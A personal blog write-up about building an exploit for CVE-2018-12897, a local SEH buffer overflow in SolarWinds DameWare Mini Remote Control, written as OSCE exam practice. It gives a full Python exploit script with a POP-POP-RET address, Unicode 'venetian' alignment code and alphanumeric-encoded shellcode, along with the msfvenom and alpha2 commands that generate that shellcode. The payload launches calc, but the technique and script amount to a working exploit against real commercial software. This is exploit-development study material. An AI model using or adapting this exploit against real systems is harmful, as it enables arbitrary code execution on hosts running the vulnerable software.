CVE-2018-12897 – Exploit Development – SolarWinds DameWare Local Buffer Overflow

Hello everyone!

Last week I’ve been having fun trying to create exploits for already discovered vulnerabilities. I’m currently preparing the OSCE exam, and I decided that after doing some Vulnserver exercises… I needed to start working on “more realistic” exploits.

For this case, I chose the following application: DameWare Mini Remote Control and I will cover the process of creating a working exploit for a SEH based local Buffer Overflow that corresponds to CVE-2018-12897.

This vulnerability was discovered by Adam Jeffreys from Nettitude, so all the credit goes to him. You can read his write-up in the following blog post:

https://labs.nettitude.com/blog/solarwinds-cve-2018-12897-dameware-mini-remote-control-local-seh-buffer-overflow/

Now I’m going to write the exploit from the scratch without any help, the idea is to prepare the exam 🙂

Step 1. Identifying the vulnerable parameter:

The vulnerability is a local Buffer Overflow that leads in code execution. I manually input 5000 A’s in this field in this options menu:

Right click on a host >> AMT >> AMT Settings dialog

We mark “Use SOCKS proxy” box, and the we paste the 5000 A’s string in the Host field:

When we introduce this string, the application is going to crash. If we do the same with a debugger attached to the process of the application we can see the following:

We managed to overwrite the Structured Exception Handler(SEH). So we are in the good way.

Step 2. ASCII to Unicode conversion

As I said, we overwritten the SEH, but we expected to have the value 41414141 in it (4 A’s). But we have 00410041, this is indicative that our buffer it’s getting converted to Unicode.

The process that is happening, is that the ASCII character “\x41″ is converted to u”\u0041”.

This transformation is going to complicate all the process of exploit development. Some values are going to change and get modified, also we are not going to be able to use some instructions and we are going to need to use the imagination, or Corelan tutorials 😛

Step 3. Where is our buffer located and what instruction do we need

If we press SHIFT + F9 we are going to pass exception the program and we are going to reach the memory address 00410041, our SEH value. If we quickly inspect that state of the stack, we are going to see that in the third position of the stack, is located our A’s string.

So we need an instruction or a set of instructions, that can jump to that position of the stack. The instructions that suits us is a POP-POP-RET. Is going to remove the top two values of the stack, and is going to execute the third one.

Step 4. Locating a Unicode compatible POP-POP-RET

At this point we need to locate an Unicode compatible instruction that contains what we need, with unicode compatible I mean an instruction like the following:

00XX00XX

Or a similar one, that gets converted to a suitable address. An easy way to locate one, if exists, is using Mona plugin from Corelan.

To do that, we need to attach the application to the Immunity debugger and execute the following command:

!mona seh -cp unicode

The first memory address is 007a007b and it contains a POP-POP-RET 4 instruction that suits our needs.

Step 5. NSEH instructions

NSEH is going to be the next instructions that we are going to execute, we need that them don’t break the program execution flow.

After reading the Corelan tutorial again, and doing some tests I identified that these instructions are fine:

nseh = "\x61\x43"

Step 6. Jumping to the final shellcode

The shellcode that we need must be alphanumerical encoded. There is a tool that converts our shellcode to a “Unicode exploit compatible”. You can find it here:

https://github.com/un4ckn0wl3z/Alpha2-encoder

Just compile it with gcc and you can execute after this commands:

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw

And this is the shellcode generated

# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

We put all together in our final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 11/07/2019
# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.0.0.509
#			CVE-2018-12897

# Contact: xavibeltran@protonmail.com
# Webpage: https://xavibel.com
# Tested on: Windows XP SP3 ESP

# Credit for Adam Jeffreys from Nettitude! :)

# Usage:
#			Right click on a host >> AMT >> AMT Settings dialog
#			Mark "Use SOCKS proxy" box
#			Paste the string in the Host field

junk  = "\x41" * 1672

# Unicode compatible padding
nseh = "\x61\x43"

# 007A007B - POP POP RET
seh = "\x7B\x7A"

align  = ""
align += "\x05\x20\x11"       # add eax,0x11002000
align += "\x71"               # Venetian Padding
align += "\x2d\x19\x11"       # sub eax,0x11001900
align += "\x71"               # Venetian Padding
align += "\x50"               # push eax
align += "\x71"               # Venetian Padding
align += "\xC3"               # RETN

padding = "\x41" * 11

junk2 = "\x41" * 870
junk3 = "\x41" * 2014

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"


crash = junk + nseh + seh + padding + align + junk2 + shellcode + junk3

print(crash)

Finally, we run the exploit, and we verify that our code works correctly, and before the last return instruction, we have the generated shellcode in EAX:

We let the execution continue and here is our calc!

I submitted it to Exploit-DB just in case, maybe it’s useful for someone like me that is learning about this kind of exploits. Here is the link:

https://www.exploit-db.com/exploits/47126

With the same technique described a few hours later I identified a new vulnerability in another product and I reported to the vendor doing a responsible disclosure. I will publish the same write up when they fix it. It seems that the Offensive Security course worths the money 🙂

See you soon after some more hours inside a debugger!

This entry was posted in Exploiting and tagged , , , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *